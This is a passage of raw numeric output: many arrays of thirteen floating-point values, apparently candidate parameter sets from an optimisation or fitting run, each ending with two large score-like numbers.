45658359101.85514, 143455126000.2526], [6.412748625088242e-06, -1.2418411778899226e-12, -1.7788474362949836e-13, 3.98996561577576e-11, -7.290920324596793e-11, -1.1258830930124426e-15, 3.8322709394594156e-16, 2.6978084672522227e-05, -1.9285560276423494e-06, -1.6212095851483947e-08, 9.06465374180439e-10, 61888825971.955795, 378668457219.4866], [7.2950079161541e-06, -1.423600316370741e-12, -1.8067111524974517e-13, 5.467528933636526e-11, -7.269174548770519e-11, -1.1131382577055909e-15, 3.642469974043324e-16, 2.442302310111588e-05, -1.9365154780516644e-06, -1.4736235919210341e-08, 9.02573445716291e-10, 72168008768.07632, 429565720321.34186], [7.277641363649251e-06, -1.4186237292635021e-12, -1.7672076654522444e-13, 5.4875348972838477e-11, -7.250728822785179e-11, -1.1805107762756462e-15, 3.880180132520679e-16, 2.7230117388865188e-05, -1.79140018540739e-06, -1.6042437181983083e-08, 8.524740779894739e-10, 144497176198.74966, 733034177617.006], [6.435449388867622e-06, -1.2375432988348708e-12, -1.8114977137612309e-13, 3.9353291584632385e-11, -7.306938943468394e-11, -1.1645955168783485e-15, 3.887993677152085e-16, 2.4432920122355823e-05, -1.927081007099796e-06, -1.644170413651962e-08, 9.09149545755435e-10, 151124978488.96066, 169172823395.74277], [7.278147471012389e-06, -1.4279386093057266e-12, -1.7683419692117291e-13, 5.493758019518918e-11, -7.289146026177328e-11, -1.1733747472097884e-15, 3.675691109659462e-16, 2.4721354631465055e-05, -1.7638896999117907e-06, -1.588988736168235e-08, 8.632841256471107e-10, 202474467398.45615, 922092113586.5779], [7.177079530800026e-06, -1.234976832476029e-12, -1.7526876652912844e-13, 5.534254133122458e-11, -7.205830797649949e-11, -1.120826019773443e-15, 3.8364837768074985e-16, 2.2258192147086412e-05, -1.7878127478583311e-06, -1.620023857736605e-08, 8.601004856702239e-10, 213869103072.6637, 175609972725.89545], [6.350923506939188e-06, -1.2525603780194753e-12, -1.7993410193080307e-13, 5.465765498048408e-11, -7.243742739542879e-11, -1.1188147125437704e-15, 3.855466000081844e-16, 2.47790541156232e-05, -1.9163436765125797e-06, -1.4800406168095671e-08, 9.043461740243768e-10, 224990894591.97565, 940216435276.2135], [6.375685299492019e-06, -1.2470011129066444e-12, -1.7556981763399573e-13, 5.482994274294271e-11, -7.247391358991481e-11, -1.1737410455893592e-15, 3.8256427214483946e-16, 2.4747394888572957e-05, -1.921085601798487e-06, -1.655011267092608e-08, 9.011563904603084e-10, 242139334921.33466, 239644754200.97003], [6.474178960026375e-06, -1.436844524248817e-12, -1.766513283684079e-13, 3.940038642964773e-11, -7.181977887130175e-11, -1.1548751736666541e-15, 3.1745148598988346e-16, 2.707077658308786e-05, -1.92536072773705e-06, -1.6138736645669917e-08, 8.669699125562364e-10, 435950975348.6226, 363915964843.3034], [6.393923513974502e-06, -1.4269415936091027e-12, -1.7684911527276688e-13, 5.480211712359269e-11, -7.243742739542879e-11, -1.1795054510279537e-15, 3.8683254669914693e-16, 2.7200371659468664e-05, -1.925930700762681e-06, -1.643396668485197e-08, 8.601004856702239e-10, 840789439847.5613, 886246867017.2574], [6.5292806963971566e-06, -1.2521788644307235e-12, -1.752024719240228e-13, 5.432423395298522e-11, -7.243160061946103e-11, -1.1728842336075722e-15, 3.642469974043324e-16, 2.4721354631465055e-05, -1.9201275577069358e-06, -1.6042437181983083e-08, 8.613978338195112e-10, 1220087240914.9465, 1538404370735.8923], [7.222746286095911e-06, -1.4287928653696903e-12, -1.7798884315456173e-13, 5.47608522234827e-11, -7.177949793819456e-11, -1.1234835849356116e-15, 3.638627899273496e-16, 2.4725904181789833e-05, -1.7849753358990938e-06, -1.6004659818379623e-08, 9.095587982641099e-10, 1457214324700.6113, 3971854766728.4727]] [1.5780628845471506e-10, -1.411490597458207e-12, -2.483949940281473e-13, 5.026488748046414e-11, -1.6612576871621329e-10, -1.6989844545344268e-15, 8.109443782655016e-16, 2.404048022255995e-05, -1.9859378185800262e-06, -1.6176901999289427e-08, 9.489903548622118e-10, 102704594939.3429, 145011267381.10236] [6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15, 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06, -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, 148817892429.6303] [6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, 4.6265959327559024e-11, -1.669670220497726e-10, -1.7924226413310876e-15, 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06, -1.68878771600575e-08, 9.514461873186105e-10, 117267023779.58536, 138194745977.8172] [6.483959591091273e-10, -1.5516831882387681e-12, -2.490649104258458e-13, 5.026488748046414e-11, -1.669670220497726e-10, -1.6989844545344268e-15, 8.109443782655016e-16, 2.3963751617497686e-05, -1.9859378185800262e-06, -1.6176901999289427e-08, 9.514461873186105e-10, 81279986793.6045, 148499957167.59894] [6.525636151737385e-10, -1.3197261044307544e-12, -2.4458923117817936e-13, 4.6265959327559024e-11, -1.6585443429963996e-10, -1.802849923078712e-15, 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06, -1.68878771600575e-08, 9.514461873186105e-10, 121168243931.69568, 138376625633.08905] [6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, 4.59768924730343e-11, -1.6588127033784183e-10, -1.7924226413310876e-15, 9.085513864943156e-16, 2.3963751617497686e-05, -1.9859378185800262e-06, -1.6176901999289427e-08, 9.503282761551985e-10, 127284942067.54468, 147143586736.12967] [6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15, 8.4683341745183045e-16, 2.3963751617497686e-05, -1.9517021060346726e-06, -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, 148817892429.6303] [6.483959591091273e-10, -1.5516831882387681e-12, -2.477506624442777e-13, 5.026488748046414e-11, -1.669670220497726e-10, -1.7924226413310876e-15, 8.070333012129768e-16, 2.4138485475672502e-05, -1.9859378185800262e-06, -1.6108027319186075e-08, 9.514461873186105e-10, 78167992157.7952, 149819556305.94864] [2.8389500911155237e-10, -1.3179669217824132e-12, -2.1290409882195637e-13, 5.0376537605765665e-11, -1.7763084077799175e-10, -1.8081388431942655e-15, 8.940150894056582e-16, 2.501288034169883e-05, -2.04721003e-06, -1.5842532923181598e-08, 9.632771875757591e-10, 108694336300.90585, 154375559012.27695] [3.603083193105678e-11, -1.3197261044307544e-12, -2.213785963757499e-13, 4.581086934703742e-11, -1.6681614728164575e-10, -1.803564324024427e-15, 8.4683341745183045e-16, 2.4065016435368993e-05, -2.0711260096490455e-06, -1.7031696163247858e-08, 1.0052651438176042e-09, 98921398930.67514, 195080915978.15582] [-2.0926038768787875e-10, -1.4706748741606338e-12, -2.3988654320236774e-13, 4.877026722101481e-11, -1.4519789238682426e-10, -1.8284483886533772e-15, 8.688144408462996e-16, 2.7398930354457147e-05, -1.8015495121292713e-06, -1.818410294118833e-08, 8.90965422552221e-10, 100727388654.51337, 143318140783.98648] [-2.0926038768787875e-10, -1.4706748741606338e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.450370910345386e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06, -1.818410294118833e-08, 8.935114691513575e-10, 112772825510.86789, 160453198244.84198] [-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, 4.764041880667976e-11, -1.8918518378579712e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.7122228639393258e-05, -1.8099079507631247e-06, -1.8203397437532012e-08, 8.935114691513575e-10, 177535436392.6114, 109895891048.79645] [-2.0926038768787875e-10, -1.6406892521440393e-12, -1.9531413192683389e-13, 4.85603371945204e-11, -1.450370910345386e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 8.935114691513575e-10, 150364957402.63327, 122880053749.32047] [-8.223802918909379e-10, -1.4625176901480844e-12, -2.703868659848318e-13, 4.852404641399239e-11, -1.896863627503491e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.697391208672331e-05, -1.7223534426462784e-06, -1.7212440323693525e-08, 8.377481199786938e-10, 199237170018.58218, 130994741061.18477] [-2.1118416643089627e-10, -1.459747004615292e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4471230416768517e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.7267797101210102e-05, -1.8015495121292713e-06, -1.818410294118833e-08, 8.935114691513575e-10, 120611068648.22205, 148716985588.15564] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 190052435274.9098, 101545825010.15762] [-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4446129047664535e-10, -1.8210829282495652e-15, 8.731899868495941e-16, 2.4857867004975476e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.081976758127089e-10, 195239394048.3779, 101879284463.33914] [-8.372413642600907e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.88885, 102270797763.39908] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.937673308636816e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.4703687041471573e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.087619653117874e-10, 171732970643.1874, 106305215455.77405] [-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, 4.7704075824842225e-11, -1.8975666267494283e-10, -1.9099300746589145e-15, 8.757096667187756e-16, 2.7122228639393258e-05, -1.809239966469619e-06, -1.8203397437532012e-08, 8.935114691513575e-10, 166731944707.48343, 109962566902.69849] [-2.0926038768787875e-10, -1.3235354562894133e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.5027518840822802e-10, -1.9355556139972827e-15, 8.69779310515605e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.113315958572542e-10, 198705325524.15018, 111850971687.16727] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.858844276736905e-11, -1.5027518840822802e-10, -1.9257301298903336e-15, 8.765174154706532e-16, 2.507247127369048e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.134614417430693e-10, 152877011534.3794, 128488226222.4665] [-8.325113652893972e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8226533446456543e-15, 8.718221314640016e-16, 2.471871023322042e-05, -1.788813296914756e-06, -1.836034443165441e-08, 9.148927620445716e-10, 115664967416.85544, 172987399752.44284] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, 98829512345.71223] [-8.372802930516975e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.765346456450067e-16, 2.4957985197946978e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 191606485390.66824, 100937635343.36494] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11142, 101220474756.5564] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, 4.852404641399239e-11, -1.4730851235460287e-10, -1.8195538935082505e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 189380748451.24603, 101440046940.62292] [-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15, 8.688144408462996e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.52283, 101479475091.5385] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 186125019263.05353, 101522685052.87083] [-8.372413642600907e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.826770959894538e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.675713932751666e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 176424094355.21158, 102059630396.96977] [-8.32774857282967e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.475667375214216e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.4703687041471573e-05, -1.7921694947468313e-06, -1.836034443165441e-08, 9.080472327376693e-10, 190619161162.84558, 102134941196.42899] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13, 4.835930442286039e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.89273, 102270797763.3992] [-8.372413642600907e-10, -1.3359785407261977e-12, -1.9482957217087468e-13, 4.831070029448083e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.688144408462996e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 178582869424.89435, 102270797763.39929] [-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4446129047664535e-10, -1.8304219886094965e-15, 8.765174154706532e-16, 2.4857867004975476e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.087619653117874e-10, 191644867011.30374, 102518032445.5969] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13, 4.82400894161232e-11, -1.4446129047664535e-10, -1.8228595048374295e-15, 8.751158883884222e-16, 2.506841119647095e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 172947032775.99432, 102577021916.3392] [-2.103367158359051e-10, -1.3359785407261977e-12, -1.9376482536341035e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.4703687041471573e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.087619653117874e-10, 171732970643.1874, 106305215455.77405] [-8.372413642600907e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8161784527844478e-08, 9.087619653117874e-10, 144963603428.97382, 112061347287.60056] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.5026084747023036e-05, -1.7900208911755532e-06, -1.830053261436748e-08, 9.087619653117874e-10, 125853468889.92097, 136457449593.06062] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.937673308636816e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.8210829282495652e-15, 8.765174154706532e-16, 2.4703687041471573e-05, -1.776082515662521e-06, -1.836034443165441e-08, 9.087619653117874e-10, 126137991779.33096, 160562679389.67618] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, 98829512345.71223] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 186222924740.70007, 100125948657.42978] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, 4.855683396544643e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.83613368865103e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 183895104728.34744, 101215117638.35565] [-2.0926038768787875e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11142, 101220474756.5564] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 197397120635.11664, 101220474756.55742] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, 4.852404641399239e-11, -1.476291648179518e-10, -1.8195538935082505e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 189380748451.4617, 101440046940.6675] [-2.0969974314689316e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.52283, 101479475091.5385] [-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.8730627003901226e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.081976758127089e-10, 179897941081.58997, 101479475091.5439] [-2.0926038768787875e-10, -1.6370065196284276e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4663924630161214e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.5149586855224063e-05, -1.8040587516026417e-06, -1.830053261436748e-08, 9.081976758127089e-10, 174674218067.03134, 101707557509.25955] [-2.0780704759852712e-10, -1.3359785407261977e-12, -1.928247479392491e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.815489945689696e-16, 2.492800478197597e-05, -1.799557982850986e-06, -1.830053261436748e-08, 9.081976758127089e-10, 177564736843.2668, 101910116331.42278] [-2.0926038768787875e-10, -1.3481496678499343e-12, -1.9612804716494087e-13, 4.869384519400452e-11, -1.4625361988654996e-10, -1.816149350524488e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.087619653117874e-10, 176677319245.07892, 101942928295.47075] [-8.324503936172223e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4535167828811644e-10, -1.799249889019179e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.063398319687734e-10, 161710635101.41095, 104790698646.6004] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.8168585276282465e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.102513898455556e-10, 160649925757.17908, 106424978687.80653] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.765174154706532e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.067222192179334e-10, 157509126624.7564, 106648081137.30634] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.924272863609467e-13, 4.87567764690249e-11, -1.473869541008466e-10, -1.8210829282495652e-15, 8.797810044472039e-16, 2.5128697145423343e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.089655956213592e-10, 156027014786.34595, 106784848298.00577] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8130493256774034e-15, 8.758120054489215e-16, 2.489589641570383e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.120599461707459e-10, 159857940983.01962, 106918161793.97298] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9347415380665696e-13, 4.85631967683728e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.836417410231251e-08, 9.134390375783151e-10, 142628527511.76648, 117274357359.96004] [-2.0926038768787875e-10, -1.647013760811586e-12, -1.9567576322418712e-13, 4.852404641399239e-11, -1.4663924630161214e-10, -1.815921924023075e-15, 8.688144408462996e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 9.120365536291957e-10, 136801158565.52109, 118996909122.33968] [-2.0926038768787875e-10, -1.3468298773490566e-12, -1.924272863609467e-13, 4.852404641399239e-11, -1.4730851235460287e-10, -1.8210829282495652e-15, 8.725909439109588e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.13148553316506e-10, 131221998343.07083, 125656067768.88814] [-8.372802930516975e-10, -1.6610460978653825e-12, -1.9391155389121011e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.765346456450067e-16, 2.500200335107093e-05, -1.777109321965829e-06, -1.836034443165441e-08, 9.081976758127089e-10, 107442969837.9951, 191438895729.71088] [-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.705169785374419e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.448, 98829512345.71223] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4659424506650604e-10, -1.7864100157215748e-15, 8.706272486016714e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 185690352687.11697, 99223644222.007] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.839563844754409e-16, 2.4957985197946978e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 186222924740.70007, 100125948657.42978] [-8.29844666406642e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.849645416672899e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.714032924475303e-16, 2.492800478197597e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 190148608462.3534, 100180028793.61896] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06, -1.850709631603352e-08, 9.087619653117874e-10, 199924589208.46686, 100223589650.82378] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9654069739659012e-13, 4.855683396544643e-11, -1.461461940090847e-10, -1.803543054789903e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 178626169889.2221, 100558408593.70113] [-8.332310924150067e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.8877585360256924e-11, -1.4675478300173032e-10, -1.8130493256774034e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 193351738763.71564, 100949387586.23102] [-8.372802930516975e-10, -1.343853363763315e-12, -1.9192642832280474e-13, 4.852404641399239e-11, -1.446871529700577e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 197397120636.1133, 101220474756.86967] [-2.081071620571536e-10, -1.3430194729908366e-12, -1.9531413192683389e-13, 4.8687777307168814e-11, -1.432701673757514e-10, -1.8195538935082505e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 189380748448.52612, 101440046940.05927] [-8.372802930516975e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.815921924023075e-15, 8.834544584685654e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 198690577754.9655, 101467426817.57397] [-2.0926038768787875e-10, -1.3359785407261977e-12, -1.924272863609467e-13, 4.8327983670281894e-11, -1.4675478300173032e-10, -1.8258864221284576e-15, 8.83613368865103e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8304452912365864e-08, 9.081976758127089e-10, 193392923341.53983, 101900620617.14302] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9719420123154376e-13, 4.861133464689211e-11, -1.483232636118454e-10, -1.8195538935082505e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.7966453439138136e-06, -1.836034443165441e-08, 9.087619653117874e-10, 174954502194.04602, 103131734300.077] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.814072294943091e-11, -1.437983579446461e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.107645094765291e-10, 171249412831.2997, 103180541968.40872] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.476291648179518e-10, -1.7906363569860738e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.8221372696029056e-08, 9.081976758127089e-10, 154981149327.29538, 103805616436.34537] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.855683396544643e-11, -1.432701673757514e-10, -1.825643030416898e-15, 8.83613368865103e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.81828896229741e-08, 9.081976758127089e-10, 158250536108.31226, 106843736334.12831] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9439448414369486e-13, 4.855683396544643e-11, -1.4675478300173032e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.5187119035976227e-05, -1.797858272312416e-06, -1.836034443165441e-08, 9.087619653117874e-10, 148433419780.93826, 110030788135.34956] [-8.372802930516975e-10, -1.3382357152930057e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.432701673757514e-10, -1.799249889019179e-15, 8.765174154706532e-16, 2.4802576523291093e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.087619653117874e-10, 152744383578.88885, 111006224451.55664] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.83613368865103e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.8140174569754755e-08, 9.081976758127089e-10, 140660582328.68314, 113087422800.04585] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.815921924023075e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.081976758127089e-10, 148227079557.4723, 115101067854.69138] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.763652695826297e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.830053261436748e-08, 9.081976758127089e-10, 129686832886.01216, 126984206927.84627] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.4592095499147362e-10, -1.7864100157215748e-15, 8.706272486016714e-16, 2.5177177276929545e-05, -1.7997194394724915e-06, -1.850709631603352e-08, 9.087619653117874e-10, 188127979624.47858, 98138013390.26245] [-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.8139505305916955e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.783887938075847e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 195862055252.45816, 98829512345.71414] [-8.379785124926609e-10, -1.3292316984383345e-12, -1.955394873972143e-13, 4.852404641399239e-11, -1.4779126633130978e-10, -1.799249889019179e-15, 8.775397316555329e-16, 2.5049204386853816e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.035879148460716e-10, 183972070969.05157, 98891303611.42876] [-8.373750609204521e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.4659424506650604e-10, -1.7864100157215748e-15, 8.706272486016714e-16, 2.492800478197597e-05, -1.7997194394724915e-06, -1.836034443165441e-08, 9.087619653117874e-10, 176341783374.723, 99638222233.03885] 